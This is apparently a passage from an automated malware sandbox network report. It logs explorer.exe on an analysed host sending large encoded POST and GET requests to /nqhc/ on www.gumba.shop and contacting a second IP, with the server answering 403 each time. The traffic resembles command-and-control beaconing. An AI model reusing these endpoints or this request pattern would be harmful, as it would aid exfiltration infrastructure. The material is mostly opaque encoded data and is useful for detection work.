64 79 56 4a 6c 62 67 34 7e 4f 55 7a 57 61 4b 43 38 46 70 53 58 48 55 4b 41 42 32 59 4c 65 6c 41 57 6c 69 44 6c 46 6c 6a 6b 36 76 31 39 72 76 74 64 51 66 6e 4d 65 4f 69 49 4e 57 6a 4d 5f 38 6c 74 63 47 50 4f 4c 48 7a 50 75 30 72 47 66 30 30 61 47 61 6a 7a 46 62 4d 6f 75 72 34 4e 6a 45 35 41 45 55 68 37 68 28 33 74 62 6b 39 6f 49 7a 78 6d 75 79 6f 49 30 34 34 54 2d 77 71 6d 4e 49 61 45 54 53 33 4d 76 71 4c 51 7a 74 51 37 67 61 57 6d 63 4b 4c 6c 74 39 45 63 39 7a 7a 4f 43 4e 79 4d 4c 56 39 4b 47 33 32 31 4b 74 48 75 74 72 38 5a 5a 6d 34 38 42 35 53 75 71 47 65 79 69 4e 30 49 6c 6a 58 68 79 6a 73 34 69 57 64 44 57 36 47 74 41 4a 64 53 39 6b 68 44 46 72 7a 62 44 53 57 38 31 39 49 6a 74 6b 66 48 65 75 6e 62 51 72 71 4b 37 4f 32 52 2d 53 41 53 48 4f 5a 64 41 7e 48 50 4a 79 5f 70 34 63 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=S6tbconk9Vd-b5EojS0M3VCBAvilGtk7rOZLRC30YyQjYhfuaZ6LOX5FSDiAdY8_8eesOOD-n5A4kkQ5tlU67yC0B-AB9VVxe1Ss8wre9M~_J5nJs63M4MMAs6TjR_XjIv3jzHii~GjdLzQqDcs_BmUPowJ-J-uC8GN6yb4eTF9VInK-hGWKwzT_1pgl8ryb(65_AsTknsi2v2mrW_s7yWogpViZge4307A1hrsy1QxqUAsL9ke-(mzaFpr3j0PtdyVJlbg4~OUzWaKC8FpSXHUKAB2YLelAWliDlFljk6v19rvtdQfnMeOiINWjM_8ltcGPOLHzPu0rGf00aGajzFbMour4NjE5AEUh7h(3tbk9oIzxmuyoI044T-wqmNIaETS3MvqLQztQ7gaWmcKLlt9Ec9zzOCNyMLV9KG321KtHutr8ZZm48B5SuqGeyiN0IljXhyjs4iWdDW6GtAJdS9khDFrzbDSW819IjtkfHeunbQrqK7O2R-SASHOZdA~HPJy_p4c.
Dec 5, 2022 15:16:01.953124046 CET	11390	IN	HTTP/1.1 403 Forbidden Date: Mon, 05 Dec 2022 14:16:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx
Dec 5, 2022 15:16:01.953182936 CET	11390	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.11.20	49859	75.2.81.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:03.934403896 CET	11397	OUT	POST /nqhc/ HTTP/1.1 Host: www.gumba.shop Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.gumba.shop User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.gumba.shop/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 53 36 74 62 63 6f 6e 6b 39 56 64 2d 62 35 45 6f 6a 53 30 4d 33 56 43 42 41 76 69 6c 47 74 6b 37 72 4f 5a 4c 52 43 33 30 59 79 59 6a 5a 55 4c 75 62 36 69 4c 66 6e 35 46 4d 54 69 46 64 59 38 59 38 65 33 6b 4f 4f 50 78 6e 5f 4d 34 6b 7a 30 35 74 58 4d 36 7e 79 43 33 66 4f 41 44 32 31 55 74 65 31 4f 34 38 30 48 4f 39 38 61 5f 62 72 76 4a 7e 5a 50 50 67 4d 4d 43 73 36 54 76 56 5f 58 72 49 76 37 4e 7a 48 75 69 7e 45 58 64 4b 43 73 71 42 72 59 5f 5a 47 55 4d 69 51 4a 37 65 75 76 36 38 47 59 4a 79 62 34 4f 54 45 35 56 49 67 65 2d 67 48 57 4c 7e 7a 54 5f 32 70 67 6d 34 72 75 66 28 36 6b 71 41 73 33 6b 6e 72 6d 32 7e 6d 6d 72 48 71 41 38 6b 6d 6f 6d 7e 6c 6a 66 6b 65 38 5f 30 37 46 47 68 70 41 79 32 67 4e 71 56 7a 30 4c 75 56 65 2d 6a 57 7a 59 4a 35 72 6f 32 45 4f 70 64 78 39 7a 6c 62 42 4e 7e 4e 59 7a 58 37 47 43 35 6e 4e 54 52 6e 55 4d 4d 68 32 4a 41 2d 34 50 57 68 47 66 6c 46 6c 7a 6b 34 44 31 36 62 66 74 63 53 6e 6b 50 4f 4f 6c 45 74 58 37 48 66 77 6a 74 63 71 48 4f 4b 50 6a 50 74 59 72 55 76 30 30 52 41 54 31 39 31 62 50 71 75 72 51 41 44 46 5f 41 45 51 4c 37 6c 6e 6e 74 4c 59 39 70 35 44 78 33 75 79 6e 4f 55 34 38 5a 65 77 6f 69 4e 49 61 45 54 66 47 4d 76 6d 4c 51 43 46 51 35 54 79 57 32 61 43 4c 6e 74 39 34 63 39 7a 59 4f 43 52 5f 4d 4c 64 66 4b 47 47 62 31 50 64 48 33 5a 50 38 59 62 4f 37 33 68 35 74 6b 4b 47 33 32 6a 77 79 49 6c 28 6c 68 79 7a 57 34 52 53 64 43 57 71 47 28 77 4a 65 58 64 6b 71 55 31 72 6c 4d 54 65 30 38 78 6b 39 6a 73 67 70 48 65 47 6e 66 47 43 75 50 5f 4b 41 49 4e 44 70 53 42 53 71 64 57 32 32 4b 4e 4f 59 71 65 71 2d 4d 4b 78 44 31 34 42 65 58 43 4d 37 6a 45 49 41 65 59 51 4f 41 7a 41 53 59 49 68 32 44 72 58 4e 64 56 32 73 49 6c 61 75 6b 73 35 37 5a 78 33 63 53 42 4f 5a 41 62 4c 6b 6d 4d 4a 53 39 5f 34 30 78 4a 54 72 75 79 6d 64 71 78 32 48 4f 43 41 55 55 39 39 7a 57 53 31 2d 6d 49 70 52 39 61 58 5a 44 63 59 4e 6a 72 4b 4d 38 58 6a 68 73 55 6c 67 46 71 30 6b 7a 53 4f 46 47 56 4a 5f 68 6a 59 79 44 53 6f 4d 52 68 36 77 64 53 54 4e 59 47 41 65 79 63 6d 56 56 70 45 5f 6f 36 6b 46 6d 6f 38 43 76 5f 38 30 35 5a 33 33 70 39 6d 68 67 67 49 64 42 6c 41 56 65 62 6e 44 42 77 70 6f 41 46 67 56 58 2d 75 74 33 42 57 4a 5a 2d 6f 6e 6a 64 50 35 38 6e 55 52 79 73 54 53 66 4f 4b 56 36 4a 77 68 67 64 63 70 65 49 46 6b 61 37 34 6a 36 2d 57 5a 64 6f 70 71 28 41 43 4f 53 57 5a 6e 6e 51 51 6e 50 66 46 50 6b 4d 28 51 63 4d 4a 64 57 2d 76 56 74 72 68 31 54 61 6c 51 44 38 72 79 49 32 36 37 33 45 54 6f 28 77 64 59 74 69 46 48 41 79 58 4e 31 6d 71 56 78 6c 69 46 74 71 51 55 4f 31 74 54 78 2d 35 4e 35 73 55 6b 42 4f 62 4e 4f 67 46 33 7e 61 57 61 50 6e 65 58 58 6a 72 6d 70 4c 65 68 4f 49 37 4b 71 58 46 44 39 74 71 6e 74 56 28 74 56 77 56 31 6e 72 28 5a 7e 6e 39 33 73 73 37 45 37 35 6f 56 4b 56 79 59 71 38 30 52 53 52 66 63 67 73 66 44 33 4d 31 44 78 44 34 4a 70 6b 38 37 46 48 52 2d 53 4e 76 2d 37 34 32 41 48 47 4c 62 45 44 34 74 46 4a 4f 47 4a 5a 38 68 48 31 4d 4b 58 52 76 69 30 52 57 31 46 48 54 4e 71 41 53 4d 28 70 58 67 51 36 43 52 45 75 4a 6b 79 38 74 61 30 6f 70 72 71 61 46 5f 5a 44 41 62 7a 59 30 6d 5a 74 77 5f 39 5a 5a 45 4d 51 52 68 51 71 6a 53 37 50 67 64 38 65 58 56 4b 77 78 68 6e 4d 79 4d 4b 75 45 62 4f 78 59 74 33 75 6e 44 72 53 58 6d 55 74 66 41 78 63 4a 32 65 54 68 32 32 6d 53 6f 4c 63 43 39 31 65 57 47 59 63 74 37 72 64 35 61 6d 63 53 6b 65 39 41 74 56 65 31 39 66 44 6d 33 31 34 4d 43 4b 66 6d 5f 48 54 67 65 52 6b 47 52 4f 43 67 6b 59 57 63 4e 56 68 50 72 48 45 73 48 39 49 69 33 79 62 57 47 56 74 4c 4e 54 57 41 68 45 39 70 68 47 67 5a 77 64 6e 77 62 6d 4d 71 6a 41 77 4e 75 35 78 7a 4e 38 2d 28 48 33 62 70 67 51 74 62 37 49 77 65 73 70 4f 4e 31 7e 48 79 56 38 34 68 65 7e 38 31 50 28 61 67 4e 31 38 78 37 4c 6e 65 48 59 2d 4d 36 71 59 7a 77 44 67 51 6f 78 79 39 2d 67 31 42 2d 63 6f 49 68 70 79 34 54 59 42 73 56 66 6e 63 42 77 74 72 77 53 43 6c 6d 72 68 39 64 42 54 31 79 68 74 45 46 47 71 4c 74 61 79 78 35 75 39 54 43 4a 67 4c 79 37 55 31 70 34 58 59 4c 31 6d 31 6f 6c 44 6c 68 36 78 36 2d 56 4f 4a 4d 53 53 5a 51 4f 35 76 72 28 53 43 47 55 68 30 4e 65 6a 47 45 68 31 59 68 72 30 35 78 34 44 59 4e 57 Data Ascii: 7nWHV=S6tbconk9Vd-b5EojS0M3VCBAvilGtk7rOZLRC30YyYjZULub6iLfn5FMTiFdY8Y8e3kOOPxn_M4kz05tXM6~yC3fOAD21Ute1O480HO98a_brvJ~ZPPgMMCs6TvV_XrIv7NzHui~EXdKCsqBrY_ZGUMiQJ7euv68GYJyb4OTE5VIge-gHWL~zT_2pgm4ruf(6kqAs3knrm2~mmrHqA8kmom~ljfke8_07FGhpAy2gNqVz0LuVe-jWzYJ5ro2EOpdx9zlbBN~NYzX7GC5nNTRnUMMh2JA-4PWhGflFlzk4D16bftcSnkPOOlEtX7HfwjtcqHOKPjPtYrUv00RAT191bPqurQADF_AEQL7lnntLY9p5Dx3uynOU48ZewoiNIaETfGMvmLQCFQ5TyW2aCLnt94c9zYOCR_MLdfKGGb1PdH3ZP8YbO73h5tkKG32jwyIl(lhyzW4RSdCWqG(wJeXdkqU1rlMTe08xk9jsgpHeGnfGCuP_KAINDpSBSqdW22KNOYqeq-MKxD14BeXCM7jEIAeYQOAzASYIh2DrXNdV2sIlauks57Zx3cSBOZAbLkmMJS9_40xJTruymdqx2HOCAUU99zWS1-mIpR9aXZDcYNjrKM8XjhsUlgFq0kzSOFGVJ_hjYyDSoMRh6wdSTNYGAeycmVVpE_o6kFmo8Cv_805Z33p9mhggIdBlAVebnDBwpoAFgVX-ut3BWJZ-onjdP58nURysTSfOKV6JwhgdcpeIFka74j6-WZdopq(ACOSWZnnQQnPfFPkM(QcMJdW-vVtrh1TalQD8ryI2673ETo(wdYtiFHAyXN1mqVxliFtqQUO1tTx-5N5sUkBObNOgF3~aWaPneXXjrmpLehOI7KqXFD9tqntV(tVwV1nr(Z~n93ss7E75oVKVyYq80RSRfcgsfD3M1DxD4Jpk87FHR-SNv-742AHGLbED4tFJOGJZ8hH1MKXRvi0RW1FHTNqASM(pXgQ6CREuJky8ta0oprqaF_ZDAbzY0mZtw_9ZZEMQRhQqjS7Pgd8eXVKwxhnMyMKuEbOxYt3unDrSXmUtfAxcJ2eTh22mSoLcC91eWGYct7rd5amcSke9AtVe19fDm314MCKfm_HTgeRkGROCgkYWcNVhPrHEsH9Ii3ybWGVtLNTWAhE9phGgZwdnwbmMqjAwNu5xzN8-(H3bpgQtb7IwespON1~HyV84he~81P(agN18x7LneHY-M6qYzwDgQoxy9-g1B-coIhpy4TYBsVfncBwtrwSClmrh9dBT1yhtEFGqLtayx5u9TCJgLy7U1p4XYL1m1olDlh6x6-VOJMSSZQO5vr(SCGUh0NejGEh1Yhr05x4DYNWCqmmFUKNtY1tVr4HA9O(nutFLhEgNcCi-pwyqQvVct1xvpcYw~ie8N-CqlYRpAdhsax24h20kmX81Ml68bRXnVjbCa8K4kK7s7Ff0TyTp3hQwiG3kcMYFaLcl(u4R(tgG9AEqJ9pz4ed1xGG2bRvhOK7qJWnwAqJsSQmuwmnl9TvczbkeOnFAPmwPa9otIWDQGT7Xr0nv27m9aTy0fHkh9jvwtmFn4L5mhz1X4BqJ3lbpKWGOJW9YF_~oiB~ZmYy22HuBlzPAVaAGBrRsXlPth9JdGfYNO6LPmlGCvd3NHbD5gVy1dvKT0SYe4bvYebQBz07OVRF3f9rPHzDxBUOvpK6evoeiSXB2OR00wZlrR1UkZmrIr31grp~t(cavGJkSoREUixFZMndUKWeHOS9QzlACUc40rZG5Wwi_mVi939yAykCXvuQNoGn_PxsKU27_5IA6aEu0n9dfBhKoEYM0Y9EdMCoof74scIJwMxLIm3eZO2G8i8I0v1KJySb2IydbH2uR94JdcK75nToPgzfYH7yjDxOo83UeiP~l8I5jln59jvSLkuvyRxKKzEo9jGjtExRuXKGtD01mx_3ld190Q5d41-u9SEhUuxWXfng6SmQVGw9WjSBj0_2AHOG5XbgNX7V506FfQxrZZlkMYqjzzseDfIS-WLmRFRudhEKL~2PtP2Z4egUapnjyZJWgREZtpaTzWlSPaJn65BCmt6~fpI(PJVLYQk8bk_jKBk5R9lu10ss5ZHRWfOpxFMiLdaxrbOU0QU3WZ_ufTbe2jVgubXtvvVbwn2UDAHjcL75Bwyf2nNqfmgK3wd~nhv127yNZF7i0e2et63AUfWpeXzh-QN~wlHWp(7ZlQnFBglPV7akZwDZbsj(PrNJhefVaK_dG(3l_nHN9NC2CQhTihBJRQOofgbhE19IpPoFJu_ERRR2FNyt_s3WBW6ho1A1vr9Q3Y0CEQnGWKJhUofNUzV83c97r1CxvcgrZjDk_gY4eSqWkrps2lwFmMKyzqGmU6wYudnj6kUwhWarCVTQnlUSCFJ24k_kBbHw8D8(vBwcDc57iTgF_5cAx8ttTRN9T~fPUSat15cXG2y5b8GYguZl9vrCoQuI-xjyadelBLNgj~TQNKL6isJcPW3~vS0WOzBhmRXCbN_pp63C_KhboHvysZdZuj-Shsw1cMQDOXwP7NRN6ye0rgXOwKp599kBs537t41hTNu1ZmMOzjeTefjwNJ490S2mN6l6i2u9c0BuNO_fodkpgs6QdAa73y7EPCalTTfAggt9GwcVH~g9vJprlDknlutHIzWG4pwJegSjit-CgRcmW~h7EJcnYQaKSCWafqjsIA0Zs(g9i5vo_4aCF6YpJGGuLsE9g7MD3VF0EsYBNa5LZdD(FCLivb5jdpUDawLI3tqDe2EE_O8mDcTTlkqT_AOANg0XQthHwdEXMZI5VIpL28SmPpM7VYHTY4Y5bKaoshhwYWXaH6a7lxKgMt54CuXJy(_kTYUCvL0PC8t7dF0JOGQUhtLMEpWV77T1MjUC8~i~CiIAdAyhjSOgOSrBMbwtB(FDrwoAm93BL7g8JzVVbuZ9GWU6wS3SrvfSmpk9PQ353yL2sv2A6xwI_vhDSHbhMza0wGI0FNrfmrPP4OrVNPT1-KhYeTgg_IlufiJa-HCQ8PXRiOaLYBhA3OeYQpsdzxmUOi5wvPs3ZLdMro1mulZuOA17u4bW89dcMczapLUbqWINUWj2NYB9-utRZOAOWtxB36Zf3DMiMIjFLmiu1bQMbQo0-a-jWtzg2tgbHiLH2rNYAtvm873CaPpI-AAzcus0MrNDqmYllSapxG28298(AUmrxw9qP6BaIEXP8bpC3wXGA7phJrLlTSMdZacMJLgR8qMU9Hzy_lHSeJNO87_S9nXZB3W87VVRzryrS5YDo0mJwkr(Lh-8p4VO6MIHQdt8IlzcQqCgKy-S0(ichG9sSs36l4eh6YtWkmUBvHjj-DfjVUFnc19hgAqKn3xGg2UrfTcxFvFLrsVck~wcihjPhglr0s4xh0nn3MZ29mxa6RHLAIWlFhrgbxWSYoAe0psNBwcksLxug9m5KN0msuUc7YMSTdDXMdyGzriUjwXJ3(Y2zkBTsmmJAQWv9r6l1ihE2EbmMk74sw8VIkvR9wiCW7FuZlp9DMpGj(URL0BP24alRKIzMv5tVpWFXOtGQV00tjPjgVXU0qLUT4XXUXOfxZtMY2rztLKcHFiaNtAWnt0~tqK0GnLTheV~i55KOolbZuJLqyrqG(qRylnJxMrLBedu2oeaF0cbc2VrxpCjww6NGSZNbMh8zBkGzUFiKRzvoFJR_8WXMwbwkc9JAV-Ppft0VdCOwEHkkztDqXpX8dLNJOBWgkVFIQNaTuwE_yoii91lWMzsC2yJwACm4C6EqnJKeNwcd4A1JVkaOer4ca5NkkgM_nJgC3OVL9SvfaFrlCL6fiagmGWQ_3CQmPa(vW1BGN3eMISQpJzoV8AIdw3vqBqXriXJlRKMBMNeVRbSx1H0nF2yUiNQwLR3NbYKXcFWtZMWUs3UZsOP0Kb2Q0rUOZmDOoXJh0wwr7GrB~uBtnJiGzwwbzw~y0L8WLE4NyZvOSLwyudXaBu1Xr-FK5NYNuUF5wQQuZ36gHaMmBo1mpGR65P3TGA5vJzJtUIZ3NgxLHq2xrHSeJ-rhUofzyunaZiU_1Mp7e_h0gl2gG0xaTT
Dec 5, 2022 15:16:03.934498072 CET	11403	OUT	Data Raw: 34 38 62 6b 50 46 6b 71 4e 78 75 65 65 6c 58 75 46 39 7a 2d 37 34 58 52 44 39 48 43 72 30 50 72 78 46 74 5a 61 4b 65 63 7e 35 42 68 78 78 59 62 63 67 34 63 65 64 49 51 46 54 57 36 73 6e 67 66 4f 4a 31 4a 4a 73 51 56 52 77 63 4e 55 43 46 55 5a 72 Data Ascii: 48bkPFkqNxueelXuF9z-74XRD9HCr0PrxFtZaKec~5BhxxYbcg4cedIQFTW6sngfOJ1JJsQVRwcNUCFUZr1wFbvAwtdW896jW_RRYSt_3iRlge8MgxZGvFuqTjtc6rmDxwXqyX2lOMM2yWJl2eNMMLS-UZ(n6VNnbh5d(RYKDBABG8Dzil9abOJ7lpgTwSE86D89SvzL3x2NkYFoYi4PU0d9CT1Px3(7Yl7Y3TaWsG2XNu8kWjp
Dec 5, 2022 15:16:03.945650101 CET	11406	OUT	Data Raw: 59 64 79 4c 7e 38 48 77 66 47 79 63 6b 57 6a 35 7a 57 75 72 34 62 6e 6c 47 45 47 78 64 4f 35 43 78 6f 72 62 5a 63 34 4d 61 6a 50 54 6b 54 38 42 65 33 78 68 41 35 64 79 72 79 77 54 28 4c 5a 36 6e 59 48 34 36 61 59 49 70 45 7a 4a 6f 4b 6d 65 78 79 Data Ascii: YdyL~8HwfGyckWj5zWur4bnlGEGxdO5CxorbZc4MajPTkT8Be3xhA5dyrywT(LZ6nYH46aYIpEzJoKmexy7NWUJKoCeAWaf8BpR4WsZ-iUxYtbufmwoq0WA2IuRyfjtgYrzJmIKZBTYlv0C7cLINUWWYPKOhcqLOMcSRJ2scrBrsoVIkbPNR93k3WuoZF4HAWFfvzy6XfB~b99uwByn_w-PZgbzxi03eOF2h1H3eYgC7z8Uk2Ek
Dec 5, 2022 15:16:03.945995092 CET	11414	OUT	Data Raw: 6c 77 79 63 77 77 49 31 66 50 32 56 30 53 4d 56 45 52 28 45 72 34 64 55 70 79 45 4c 6b 49 6b 32 54 4a 63 55 48 69 4a 41 70 75 55 50 7a 76 76 77 4b 31 53 4d 6c 49 7e 4a 6c 46 52 78 48 31 35 59 4a 52 7e 41 48 64 56 33 74 6a 47 66 52 63 54 35 49 55 Data Ascii: lwycwwI1fP2V0SMVER(Er4dUpyELkIk2TJcUHiJApuUPzvvwK1SMlI~JlFRxH15YJR~AHdV3tjGfRcT5IU39ORLa8L0Jwk~Nncrv5oQpChc7eeYbeyfOo8JGv_Cazo9ML4PQK5XJFGN3JY(sc16kx5AxF6C0JDSIctjba2gsrTRhqWo6ya7fot7NAISEg3~iJbcxiTPMATod9etoCqn1TNrRwfs85bPbo4vV77viVSx28MsNcNp
Dec 5, 2022 15:16:03.946307898 CET	11417	OUT	Data Raw: 73 6b 64 5a 73 49 4e 65 4e 6f 35 49 6e 74 50 5a 68 6d 34 43 62 6a 56 45 5a 59 47 46 65 51 47 70 53 67 28 30 6b 4f 7a 41 63 71 7e 68 55 62 72 76 63 32 67 77 6b 71 58 67 73 34 47 37 6f 5f 72 76 45 55 4b 69 69 51 49 7a 55 32 75 63 57 32 39 70 39 79 Data Ascii: skdZsINeNo5IntPZhm4CbjVEZYGFeQGpSg(0kOzAcq~hUbrvc2gwkqXgs4G7o_rvEUKiiQIzU2ucW29p9yD8GJRsgFzgaoINAj2ixuIGfOdJaL(ziTn2pIMEfdxaW6lL~FPY1yFTNGV6zgNbwhERe-1ZILi-DPnTDKLMW6oZYxVgC3xA0lE5fbOoeFu91nUaTLv3wF9emM49XFeaL6rL4xIdzt3ThxJA3dlFvHM-4pE_iw7MfIl
Dec 5, 2022 15:16:03.946460962 CET	11422	OUT	Data Raw: 50 5f 54 6e 57 31 41 42 33 4f 6d 6d 39 77 71 70 38 33 70 50 59 2d 38 55 6a 44 6c 45 44 45 35 5f 72 70 77 47 69 35 57 56 38 78 7a 38 76 6c 46 35 56 41 61 58 6a 35 6b 4a 68 77 35 2d 44 68 79 4f 37 51 67 63 79 42 4e 53 34 6f 6e 51 43 68 49 59 45 54 Data Ascii: P_TnW1AB3Omm9wqp83pPY-8UjDlEDE5_rpwGi5WV8xz8vlF5VAaXj5kJhw5-DhyO7QgcyBNS4onQChIYETRojsLgBKnPgqeYA3WA1IPJGKTxNhR-r1xxKJN-Znq87QrgQDp1cUf4E97NLr3qhTUF1OzfLudBDF6o0aS9tNhZ(92I08dLi25vV_RFlm90hePQLeaICNFbLZjiQLrdwoWmwemB5-IAhD4Bbfu8GWGpaTRK2nLrKwJ
Dec 5, 2022 15:16:03.946630955 CET	11428	OUT	Data Raw: 43 30 6d 65 78 30 70 48 35 4b 36 6c 56 4b 39 6e 46 4d 39 67 41 4c 6d 32 7a 68 6e 37 53 6f 4b 71 34 6e 4c 76 65 51 6c 62 75 72 6e 71 62 5a 6a 51 7e 38 72 6a 4c 79 76 56 39 42 79 70 6f 5a 7e 62 7e 45 75 38 51 5f 30 63 71 48 45 79 66 63 64 43 47 63 Data Ascii: C0mex0pH5K6lVK9nFM9gALm2zhn7SoKq4nLveQlburnqbZjQ~8rjLyvV9BypoZ~b~Eu8Q_0cqHEyfcdCGcKxEicJd4rQ1jwz43bGsZsPM2ubRUYN7240SMPrVpdd~Zv9mkb3vNKx79JHS36zx5Em9oewRvFjAGpVnT0j0-3_QVKZ9hdEt3~ofOE2Q6CQQsKv4OOiA2aPb68UUfmmt1L7LWeIjwzEFP8ZKKOkxwNuDdaNESDYnTV
Dec 5, 2022 15:16:03.957211018 CET	11431	OUT	Data Raw: 34 76 74 6e 37 5f 62 77 32 79 6d 39 43 35 54 44 77 4a 37 64 35 78 75 4c 68 76 79 76 44 41 58 32 57 79 50 44 36 62 6c 79 56 30 70 38 6f 2d 6b 32 32 5f 59 79 53 67 6c 4f 54 4c 65 71 59 51 31 58 76 34 42 49 6d 48 56 64 5a 52 49 59 59 50 43 5f 70 77 Data Ascii: 4vtn7_bw2ym9C5TDwJ7d5xuLhvyvDAX2WyPD6blyV0p8o-k22_YySglOTLeqYQ1Xv4BImHVdZRIYYPC_pwdHL9yZV3UYqpyD30zuQ6nHF4wo90il4l1efGuy9_j1GRzZBvx3s4KHyVkiK8bC27BGQ3omIVlzI00RZWNzUkdwGMAVGxsdVunvpbHELvBnnRa0HtBQxephGrstzGyQmpIfwwVZ7Ud-zM0lLB(nNObx5a0hJoisqqS
Dec 5, 2022 15:16:03.957544088 CET	11435	OUT	Data Raw: 65 66 52 30 61 67 57 6a 52 4c 6c 57 53 65 66 32 51 72 28 6b 67 6c 48 6b 65 5a 42 79 6f 72 58 6a 36 48 4e 45 43 70 73 78 65 41 75 7a 49 43 69 49 34 4d 52 74 74 71 6a 42 78 6d 49 70 50 4c 68 45 77 73 54 30 76 50 64 68 31 43 6c 5a 38 32 6f 2d 33 6b Data Ascii: efR0agWjRLlWSef2Qr(kglHkeZByorXj6HNECpsxeAuzICiI4MRttqjBxmIpPLhEwsT0vPdh1ClZ82o-3kd80ImsyU38q5u4EcmT3yJQA4Okv3OcflVhVAz3NLikq2Sl4VEhDmTmfu0Tg39ud5h58y73~AXneLwwAQbwKAMNgMZO21ancTm5Dnylj4zfSjcpRaxXiCXYEQ4sKkWOED4Ybl2g2xz7qUzo524JmPRZFD7LjkNhTZN
Dec 5, 2022 15:16:03.957668066 CET	11437	OUT	Data Raw: 73 39 67 61 62 32 47 36 39 55 6c 64 39 78 7e 6c 35 64 57 49 67 76 71 6a 4d 79 66 4d 35 4a 71 79 63 54 55 77 6a 71 6b 53 68 41 4c 30 6e 66 6b 55 39 6b 4e 38 70 54 32 42 5a 39 37 56 4e 69 54 59 34 42 66 57 69 75 53 45 49 57 38 37 68 51 44 79 42 71 Data Ascii: s9gab2G69Uld9x~l5dWIgvqjMyfM5JqycTUwjqkShAL0nfkU9kN8pT2BZ97VNiTY4BfWiuSEIW87hQDyBqHoRlPy41p6XOq2OL1xN7avnPAYROXCN0uhIw8Kgk0VS4A8wTj9lEC5rSKhGxPYHZENHeNB~viRyjedxUIMsqMAWHeZyl8rt3gBCyi1FTA67TopxdDJV9t73ytrHbxg(ttwTnvkIcKnR9S-0sshIytv5vvxTlWc0bZ
Dec 5, 2022 15:16:03.958008051 CET	11440	OUT	Data Raw: 31 34 44 5a 6d 6f 6d 43 58 4c 57 69 6c 2d 52 57 79 56 78 6a 53 77 48 6c 4c 6d 64 34 6b 6e 34 75 64 58 61 56 37 32 47 73 64 72 39 50 61 45 39 59 47 4a 31 64 49 31 6b 78 4c 6e 49 51 71 75 56 63 38 36 76 43 28 44 67 70 38 67 45 6c 45 52 38 77 6b 72 Data Ascii: 14DZmomCXLWil-RWyVxjSwHlLmd4kn4udXaV72Gsdr9PaE9YGJ1dI1kxLnIQquVc86vC(Dgp8gElER8wkrrjK54i~tF2gWTY2Vbb5LrqnirR42SPzoOTKFZVIZR06iNwofezA-dizj~xwrENI_iDfQgVrVWLFHfpJiJjWYta99773t~b0g7WyGqRqVQTqyJPRxEyBD9tUZwcZVtvR_z20rDJ5WVxMTddRrT84e7vTiHBq9wRnO2
Dec 5, 2022 15:16:03.984997988 CET	11445	IN	HTTP/1.1 403 Forbidden Date: Mon, 05 Dec 2022 14:16:03 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Server: nginx Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 36 62 0d 0a 1f 8b 08 00 00 00 00 00 04 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 56 70 cb 2f 4a ca 4c 49 49 cd b3 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 b4 24 a7 e6 95 a4 16 d9 d9 64 18 a2 eb 00 8a d8 e8 43 a5 41 66 03 15 41 79 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 6d 78 95 8e 92 00 00 00 0d 0a Data Ascii: 6b(HML),I310Vp/JLII&T$dCAfAyyyr0.mx
Dec 5, 2022 15:16:03.985038996 CET	11445	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.11.20	49860	75.2.81.212	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:16:05.965394974 CET	11446	OUT	GET /nqhc/?7nWHV=f4F7ffrY91VPAaIYxk1J2He+DN38Gtglpvx7SxOWIh8xSFztRImtD0B4ZlSdLvIOg82xMJ3Gh/Bbh1FonXE4rjX3AOld5zRxFA==&t0D=yFNHS0IX HTTP/1.1 Host: www.gumba.shop Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Dec 5, 2022 15:16:06.114550114 CET	11446	IN	HTTP/1.1 403 Forbidden Date: Mon, 05 Dec 2022 14:16:06 GMT Content-Type: text/html Content-Length: 146 Connection: close Server: nginx Vary: Accept-Encoding Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.11.20	49861	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
